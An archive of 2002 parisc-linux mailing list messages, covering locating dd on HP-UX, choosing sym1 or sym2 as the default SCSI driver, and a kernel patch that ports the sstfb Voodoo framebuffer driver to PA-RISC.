Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 13 19:08:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (102.tls.ppp.reynolds.net.au [203.38.119.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46D604829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 13 Sep 2002 19:08:22 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id JAA29387
	for parisc-linux@lists.parisc-linux.org; Sat, 14 Sep 2002 09:04:47 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020913062639.20473.qmail@web12503.mail.yahoo.com>; from derekengelhaupt@rocketmail.com on Thu, Sep 12, 2002 at 11:26:39PM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16119

Derek Engelhaupt said:
> I've decided to load HP-UX on the E55 I've been playing with since
> Debian doesn't work very well on it right now.  I'm sending this OT
> because I need to know where dd lives on an HP-UX 11.11 box.  I'm in a
> limited shell and need an absolute path to dd to get it to accomplish
> the above.  It's so limited it won't even give me the ls command.  Any
> of you HP-UX guys out there?  Since I'm at home I don't have access to
> an HP-UX box at work.  Thanks.

Just how limited is this shell?  Are you just not able to see any
output?  What happens when you run '/bin/ls'?

If you can get stdout, try 'which dd' and 'find / -type f -name dd -print'
to locate the program.  I don't have an HP/UX box in front of me either,
or I would just tell you where dd lived.  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: sven schnelle <schnelle@kabelleipzig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OT HP-UX Formatting Scsi disks
Date: Sat, 14 Sep 2002 08:49:28 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3D82DBF8.2010000@kabelleipzig.de>
References: <sd78d3a1.013@ms-zrt1> <20020913062639.20473.qmail@web12503.mail.yahoo.com> <20020914090440.D30097@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621715 13922 80.91.229.3 (22 Nov 2014 02:01:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 14 00:49:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.kabelleipzig.de (unknown [80.146.194.2])
	by dsl2.external.hp.com (Postfix) with SMTP id AA0CA4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Sep 2002 00:49:34 -0600 (MDT)
Original-Received: from kabelleipzig.de (10.50.33.20)
          by mail.kabelleipzig.de with MERCUR-SMTP/POP3/IMAP4-Server (v3.30.09 AS-000000008)
          for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Sep 2002  08:49:31 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16120

  Derek Engelhaupt said:

>I've decided to load HP-UX on the E55 I've been playing with since
>Debian doesn't work very well on it right now.  I'm sending this OT
>because I need to know where dd lives on an HP-UX 11.11 box.  I'm in a
[...]

hello,

on my gecko with HP-UX 10.20 it lives in /usr/bin, maybe its the same on
HP-UX 11.11.

Bye

Sven.




From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Making SYM2 default SYM-SCSI driver instead of SYM1
Date: Sat, 14 Sep 2002 12:14:53 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <CFEA4CE8-C7CA-11D6-BDC5-0030656F07A2@esiee.fr>
References: <20020913190929.8F8084829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v543)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621715 13929 80.91.229.3 (22 Nov 2014 02:01:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 14 04:14:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 259FD4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Sep 2002 04:14:58 -0600 (MDT)
Original-Received: from npyu.esiee.net ([213.245.40.23]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020914101455.FQI25797.viefep13-int.chello.at@npyu.esiee.net>;
          Sat, 14 Sep 2002 12:14:55 +0200
In-Reply-To: <20020913190929.8F8084829@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.543)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16121

Le vendredi, 13 sep 2002, =E0 21:09 Europe/Paris, Grant Grundler a =E9crit=
 :

> Thibaut VARENE wrote:
>> Now I'm asking you to know if anybody has an objection against making
>> SYM2 the default driver in debian-configs instead of old SYM1.
>
> I don't. All the boxes I care about have 53c8xx chips in them.
>
> A slightly safer approach is to make sym2 the default for PA2.0 =
systems
> and the old sym the default for PA1.1 systems. But GSC/HSC c720 cards
> don't fit that model since they go into systems with either sub-arch.
> I don't see a way around users "tuning" based on actual HW=20
> configuration.
Well, this might be a good solution, though IIRC, Randolph Chung=20
mentioned
that sym1 is b0rken in Linux 2.5.

Therefore making sym2 default for both archs may be preferable for=20
future compatibility?

Anyway, I think we can start with making sym2 default for PA2.0,=20
keeping sym1 for PA1.1,
and then "wait and see".

If everything goes well, we can switch PA1.1 as well.

Opinions ? :)


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/=



From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Making SYM2 default SYM-SCSI driver instead of SYM1
Date: Sat, 14 Sep 2002 16:59:11 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020914225912.2AE904829@dsl2.external.hp.com>
References: <CFEA4CE8-C7CA-11D6-BDC5-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621716 13932 80.91.229.3 (22 Nov 2014 02:01:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 14 16:59:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2AE904829; Sat, 14 Sep 2002 16:59:12 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Sat, 14 Sep 2002 12:14:53 +0200." <CFEA4CE8-C7CA-11D6-BDC5-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16122

Thibaut VARENE wrote:
> though IIRC, Randolph Chung mentioned
> that sym1 is b0rken in Linux 2.5.

It won't always be broken.

> Anyway, I think we can start with making sym2 default for PA2.0,
> keeping sym1 for PA1.1, and then "wait and see".
> 
> If everything goes well, we can switch PA1.1 as well.

If we switch PA1.1, then we should do that for both releases.
And when we do so, better add a FAQ about "SCSI Controller not found".
Maybe even add it now already to cover PA2.0 case (but don't mention
PA2.0 in the FAQ).

grant


From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Voodoo framebuffer on PARISC
Date: Sun, 15 Sep 2002 02:09:46 +0200
Lines: 407
Approved: news@gmane.org
Message-ID: <200209150209.46701.deller__16926.9801619977$1416621716$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_K/8g9cdhjiEuAkF"
X-Trace: ger.gmane.org 1416621716 13938 80.91.229.3 (22 Nov 2014 02:01:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:56 +0000 (UTC)
Cc: "B. Douglas Hilton" <bdhilton@charter.net>
To: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 14 18:14:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id DF7FB483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 14 Sep 2002 18:14:39 -0600 (MDT)
Original-Received: (qmail 14473 invoked by uid 0); 15 Sep 2002 00:10:16 -0000
Original-Received: from dialin-212-144-175-180.arcor-ip.net (HELO P100.helgenet.de) (212.144.175.180)
  by mail.gmx.net (mp013-rz3) with SMTP; 15 Sep 2002 00:10:16 -0000
User-Agent: KMail/1.4.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16123

--Boundary-00=_K/8g9cdhjiEuAkF
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline

Hi,

there has been some discussions on this lists a few weeks back
about getting the Voodoo framebuffer driver  working on HPPA.
The attached patch allows me to use my Voodoo 2 with the sstfb
framebuffer driver in 16bpp in 640x480, 800x600 and 1024x768
resolutions on console and under X.

Greetings,
Helge

NB: This patch is already integrated into the 2.4.19-pa18 kernel and
I'll continue to do some more code-cleanups before trying to get it
into the official kernel.

--Boundary-00=_K/8g9cdhjiEuAkF
Content-Type: text/plain;
  charset="us-ascii";
  name="diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="diff"

Index: sstfb.c
===================================================================
RCS file: /var/cvs/linux/drivers/video/sstfb.c,v
retrieving revision 1.4
diff -u -p -r1.4 sstfb.c
--- sstfb.c	4 Aug 2002 22:59:15 -0000	1.4
+++ sstfb.c	14 Sep 2002 23:58:43 -0000
@@ -107,6 +107,7 @@
 
 #include <asm/io.h>
 #include <asm/ioctl.h>
+#include <asm/uaccess.h>
 
 #include <video/fbcon.h>
 #include <video/fbcon-cfb16.h>
@@ -332,7 +333,7 @@ static void sst_dbg_print_var(struct fb_
 
 #if (SST_DEBUG_REG > 0)
 static void sst_dbg_print_read_reg (u32 reg, u32 val) {
-	char * regname =NULL;
+	char * regname = NULL;
 	switch (reg) {
 	case FBIINIT0: regname="FbiInit0"; break;
 	case FBIINIT1: regname="FbiInit1"; break;
@@ -366,8 +367,8 @@ static void sst_dbg_print_write_reg (u32
 		r_dprintk(" sst_write(%s, %#x)\n", regname, val);
 }
 #else /*  (SST_DEBUG_REG > 0) */
-#  define sst_dbg_print_read_reg(reg, val)	do {}while(0)
-#  define sst_dbg_print_write_reg(reg, val)	do {}while(0)
+#  define sst_dbg_print_read_reg(reg, val)	do {} while(0)
+#  define sst_dbg_print_write_reg(reg, val)	do {} while(0)
 #endif /*  (SST_DEBUG_REG > 0) */
 
 /* register access */
@@ -530,20 +531,15 @@ static int sstfb_setcolreg(u_int regno, 
 		break;
 #endif
 #ifdef EN_24_32_BPP
-#ifdef FBCON_HAS_CFB24
+#if defined(FBCON_HAS_CFB24) || defined(FBCON_HAS_CFB32)
 	case 24:
-		sst_info->fbcon_cmap.cfb32[regno]=col;
-		break;
-#endif
-#ifdef FBCON_HAS_CFB32
 	case 32:
 		sst_info->fbcon_cmap.cfb32[regno]=col;
 		break;
 #endif
 #endif
 	default:
-		eprintk("bug line %d: bad depth '%u'\n",__LINE__,
-			disp->var.bits_per_pixel);
+		BUG();
 		break;
 	}
 	f_dddprintk("bpp: %d . encoded color: %#x\n",
@@ -735,6 +731,7 @@ static int sstfb_encode_var (struct fb_v
 #ifdef EN_24_32_BPP
 	case 24:	/* RGB 888 LfbMode 4 */
 	case 32:	/* ARGB 8888 LfbMode 5 */
+	       	/* in 24bpp we fake a 32 bpp mode */
 		var->red.length    = 8;
 		var->green.length  = 8;
 		var->blue.length   = 8;
@@ -743,11 +740,11 @@ static int sstfb_encode_var (struct fb_v
 		var->red.offset    = 16;
 		var->green.offset  = 8;
 		var->blue.offset   = 0;
-		var->transp.offset = 0; /* in 24bpp we fake a 32 bpp mode */
+		var->transp.offset = 0;
 		break;
 #endif
 	default:
-		eprintk ("bug line %d: bad depth '%u'\n", __LINE__, par->bpp);
+		eprintk("bug line %d: bad depth '%u'\n", __LINE__, par->bpp);
 		break;
 	}
 	return 0;
@@ -775,11 +772,15 @@ static int sstfb_get_fix(struct fb_fix_s
 #define sst_info	((struct sstfb_info *) info)
 
 	struct fb_var_screeninfo *var;
+	struct fb_var_screeninfo var2;
 
 	f_dprintk("sstfb_get_fix(con: %d)\n",con);
-	if (con == -1)
-		sstfb_encode_var(var, &sst_info->current_par, sst_info);
-	else
+	memset(fix, 0, sizeof(struct fb_fix_screeninfo));
+	
+	if (con == -1) {
+		sstfb_encode_var(&var2, &sst_info->current_par, sst_info);
+		var = &var2;
+	} else
 		var = &fb_display[con].var;
 
 	strcpy(fix->id, sst_info->info.modename);
@@ -789,6 +790,7 @@ static int sstfb_get_fix(struct fb_fix_s
 
 	fix->type        = FB_TYPE_PACKED_PIXELS;
 	fix->visual      = FB_VISUAL_TRUECOLOR;
+	fix->accel       = FB_ACCEL_NONE;
 	/*
 	 *   According to the specs, the linelength must be of 1024 *pixels*.
 	 * and the 24bpp mode is in fact a 32 bpp mode.
@@ -966,42 +968,47 @@ static int sstfb_ioctl(struct inode *ino
                        struct fb_info *info)
 {
 #define sst_info	((struct sstfb_info *) info)
-#if (SST_DEBUG_IOCTL >0)
 	int i;
 	u_long p;
-	u32 tmp;
+	u32 tmp, val;
 	u32 fbiinit0;
 	struct pci_dev * sst_dev = sst_info->dev;
-#endif
 
 	f_dprintk("sstfb_ioctl(%x)\n", cmd);
-#if (SST_DEBUG_IOCTL >0)
+	
 	switch (cmd) {
-#  if (SST_DEBUG_VAR >0)
-/* tmp ioctl : dumps fb_display[0-5] */
+		
+#if (SST_DEBUG_VAR >0)
+	/* tmp ioctl : dumps fb_display[0-5] */
 	case _IO('F', 0xdb):		/* 0x46db */
 		f_dprintk("dumping fb_display[0-5].var\n");
 		for (i = 0 ; i< 6 ; i++) {
 			print_var(&fb_display[i].var, "var(%d)", i);
 		}
 		return 0;
-#  endif /* (SST_DEBUG_VAR >0) */
-/* fills the lfb up to *(u32*)arg */
+#endif /* (SST_DEBUG_VAR >0) */
+
+	/* fills the lfb up to given count of pixels */
 	case _IOW('F', 0xdc, u32):	/* 0x46dc */
-		if (*(u32*)arg > 0x400000 )
-			*(u32*) arg = 0x400000;
-		f_dprintk("filling %#x \n", *(u32*)arg);
-		for (p = 0 ; p < *(u32*)arg; p+=2)
+		if (copy_from_user(&val, (void *) arg, sizeof(val)))
+			return -EFAULT;
+		if (val > 0x400000 )
+			val = 0x400000;
+		f_dprintk("filling %#x \n", val);
+		for (p = 0 ; p < val; p+=2)
 			writew( p >> 6 , sst_info->video.vbase + p);
 		return 0;
-/* change VGA pass_through */
+		
+	/* enable/disable VGA pass_through */
 	case _IOW('F', 0xdd, u32):	/* 0x46dd */
+		if (copy_from_user(&val, (void *) arg, sizeof(val)))
+			return -EFAULT;
 		f_dprintk("switch VGA pass-through\n");
 		pci_read_config_dword(sst_dev, PCI_INIT_ENABLE, &tmp);
 		pci_write_config_dword(sst_dev, PCI_INIT_ENABLE,
 				       tmp | PCI_EN_INIT_WR );
 		fbiinit0 = sst_read (FBIINIT0);
-		if (* (u32*)arg) {
+		if (val) {
 			sst_write(FBIINIT0, fbiinit0 & ~EN_VGA_PASSTHROUGH);
 			iprintk ( "Disabling VGA pass-through\n");
 		} else {
@@ -1010,28 +1017,29 @@ static int sstfb_ioctl(struct inode *ino
 		}
 		pci_write_config_dword(sst_dev, PCI_INIT_ENABLE, tmp);
 		return 0;
+
+	/* display test pattern */
 	case _IO('F', 0xde):		/* 0x46de */
 		f_dprintk("test color display\n");
 		f_ddprintk("currcon: %d, bpp %d\n", sst_info->currcon,
 			  sst_info->current_par.bpp);
 		memset_io(sst_info->video.vbase, 0, sst_info->video.len);
-	switch (sst_info->current_par.bpp) {
+		switch (sst_info->current_par.bpp) {
 	       	case 16:
 			sstfb_test16(sst_info);
 			break;
-#  ifdef EN_24_32_BPP
+#ifdef EN_24_32_BPP
 		case 24:
 		case 32:
 			sstfb_test32(sst_info);
 			break;
-#  endif
+#endif
 		default:
-			dprintk("bug line %d: bad depth '%u'\n", __LINE__,
-			        sst_info->current_par.bpp);
-			}
+			return -EFAULT;
+		}
 		return 0;
 	}
-#endif /* (SST_DEBUG_IOCTL >0) */
+	
 	return -EINVAL;
 #undef sst_info
 }
@@ -1494,7 +1502,7 @@ static int sstfb_set_par(const struct ss
 	pci_write_config_dword(sst_dev, PCI_INIT_ENABLE, PCI_EN_FIFO_WR);
 
 	/* set lfbmode : set mode + front buffer for reads/writes
-	   + disable pipeline + disable byte swapping */
+	   + disable pipeline  */
 	switch(par->bpp) {
 	case 16:
 		lfbmode = LFB_565;
@@ -1508,12 +1516,16 @@ static int sstfb_set_par(const struct ss
 		break;
 #endif
 	default:
-		dprintk("bug line %d: bad depth '%u'\n", __LINE__,
-			par->bpp );
+		BUG();
 		return 0;
-		break;
 	}
 
+#if defined(__BIG_ENDIAN)
+	/* enable byte-swizzle functionality in hardware */
+	lfbmode |= ( LFB_WORD_SWIZZLE_WR | LFB_BYTE_SWIZZLE_WR | 
+		     LFB_WORD_SWIZZLE_RD | LFB_BYTE_SWIZZLE_RD );
+#endif
+
 	if (clipping) {
 		sst_write(LFBMODE, lfbmode | EN_PXL_PIPELINE);
 	/*
@@ -1521,7 +1533,7 @@ static int sstfb_set_par(const struct ss
 	 * writes to offscreen areas of the framebuffer are performed,
 	 * the "behaviour is undefined" (_very_ undefined) - Urs
 	 */
-	/* btw, it requires enabling pixel pipeline in LFBMODE .
+	/* btw, it requires enabling pixel pipeline in LFBMODE.
 	   off screen read/writes will just wrap and read/print pixels
 	   on screen. Ugly but not that dangerous */
 
@@ -1536,7 +1548,7 @@ static int sstfb_set_par(const struct ss
 		sst_write(LFBMODE, lfbmode );
 	}
 
-	sst_info->current_par = *par ;
+	sst_info->current_par = *par;
 	return 1;
 }
 
@@ -1571,8 +1583,7 @@ static void sst_set_vidmod_att_ti(struct
 		break;
 #endif
 	default:
-		dprintk("bug line %d: bad depth '%u'\n", __LINE__, bpp);
-		break;
+		BUG();
 	}
 }
 
@@ -1590,8 +1601,7 @@ static void sst_set_vidmod_ics(struct ss
 		break;
 #endif
 	default:
-		dprintk("bug line %d: bad depth '%u'\n", __LINE__, bpp);
-		break;
+		BUG();
 	}
 }
 
@@ -1987,34 +1997,34 @@ static void sstfb_test16(struct sstfb_in
 	u_long fbbase_virt = sst_info->video.vbase;
 
 	f_dprintk("sstfb_test16\n");
-	/* rect blanc 20x100+200+0 */
+	/* white rectangle 20x100+200+0 */
 	for (i=0 ; i< 100; i++) {
 	  p = fbbase_virt + 2048 *i+400;
-	  for (j=0 ; j < 10 ; j++) {
-	    writel( 0xffffffff, p);
+	  for (j=0; j < 10; j++) {
+	    writel(0xffffffff, p);
 	    p+=4;
 	  }
 	}
-	/* rect bleu 180x200+0+0 */
+	/* blue rectangle 180x200+0+0 */
 	for (i=0 ; i< 200; i++) {
 	  p = fbbase_virt + 2048 *i;
-	  for (j=0 ; j < 90 ; j++) {
-	    writel(0x001f001f,p);
+	  for (j=0; j < 90; j++) {
+	    writel(0x001f001f, p);
 	    p+=4;
 	  }
 	}
-	/* carre vert 40x40+100+0 */
+	/* green rectangle 40x40+100+0 */
 	for (i=0 ; i< 40 ; i++) {
 	  p = fbbase_virt + 2048 *i + 200;
-	  for (j=0; j <20;j++) {
+	  for (j=0; j <20; j++) {
 	    writel(0x07e007e0, p);
 	    p+=4;
 	  }
 	}
-	/*carre rouge 40x40+100+40 */
+	/* red rectangle 40x40+100+40 */
 	for (i=0; i<40; i++) {
 	  p = fbbase_virt + 2048 * (i+40) + 200;
-	  for (j=0; j <20;j++) {
+	  for (j=0; j <20; j++) {
 	    writel( 0xf800f800, p);
 	    p+=4;
 	  }
@@ -2034,22 +2044,22 @@ static void sstfb_test32(struct sstfb_in
 	for (i=0 ; i< 100; i++) {
 	  p = fbbase_virt + 4096*i + 800;
 	  for (j=0 ; j < 20 ; j++) {
-	    writel( 0x00ffffff, p);
+	    writel(0x00ffffff, p);
 	    p+=4;
 	  }
 	}
 	/* rect bleu 180x200+0+0 */
 	for (i=0 ; i< 200; i++) {
 	  p = fbbase_virt + 4096 * i;
-	  for (j=0 ; j < 180 ; j++) {
-	    writel(0x000000ff,p);
+	  for (j=0 ; j < 180; j++) {
+	    writel(0x000000ff, p);
 	    p+=4;
 	  }
 	}
 	/* carre vert 40x40+100+0 */
 	for (i=0 ; i< 40 ; i++) {
 	  p = fbbase_virt + 4096 *i + 400;
-	  for (j=0; j <40;j++) {
+	  for (j=0; j <40; j++) {
 	    writel(0x0000ff00, p);
 	    p+=4;
 	  }
@@ -2057,8 +2067,8 @@ static void sstfb_test32(struct sstfb_in
 	/*carre rouge 40x40+100+10 */
 	for (i=0; i<40; i++) {
 	  p = fbbase_virt + 4096 * (i+40) + 400;
-	  for (j=0; j <40;j++) {
-	    writel( 0x00ff0000, p);
+	  for (j=0; j <40; j++) {
+	    writel(0x00ff0000, p);
 	    p+=4;
 	  }
 	}
Index: sstfb.h
===================================================================
RCS file: /var/cvs/linux/drivers/video/sstfb.h,v
retrieving revision 1.3
diff -u -p -r1.3 sstfb.h
--- sstfb.h	4 Aug 2002 22:59:15 -0000	1.3
+++ sstfb.h	14 Sep 2002 23:58:44 -0000
@@ -114,7 +114,11 @@
 #  define RD_BUFF_FRONT		  0		/* read buff select (front) */
 #  define RD_BUFF_BACK		  (1 << 6)	/* back */
 #  define EN_PXL_PIPELINE	  BIT(8)	/* pixel pipeline (clip..)*/
+#  define LFB_WORD_SWIZZLE_WR	  BIT(11)	/* enable write-wordswap (big-endian) */
+#  define LFB_BYTE_SWIZZLE_WR	  BIT(12)	/* enable write-byteswap (big-endian) */
 #  define LFB_INVERT_Y		  BIT(13)	/* invert Y origin (LFB) */
+#  define LFB_WORD_SWIZZLE_RD	  BIT(15)	/* enable read-wordswap (big-endian) */
+#  define LFB_BYTE_SWIZZLE_RD	  BIT(16)	/* enable read-byteswap (big-endian) */
 #define CLIP_LEFT_RIGHT		0x0118
 #define CLIP_LOWY_HIGHY		0x011c
 #define NOPCMD			0x0120

--Boundary-00=_K/8g9cdhjiEuAkF--



From - Thu Nov 08 21:24:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Voodoo framebuffer on PARISC
Date: Sun, 15 Sep 2002 00:28:14 -0400
Lines: 416
Approved: news@gmane.org
Message-ID: <3D840C5E.2080405__11706.4671860591$1416621716$gmane$org@charter.net>
References: <200209150209.46701.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621716 13940 80.91.229.3 (22 Nov 2014 02:01:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:56 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 14 22:28:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
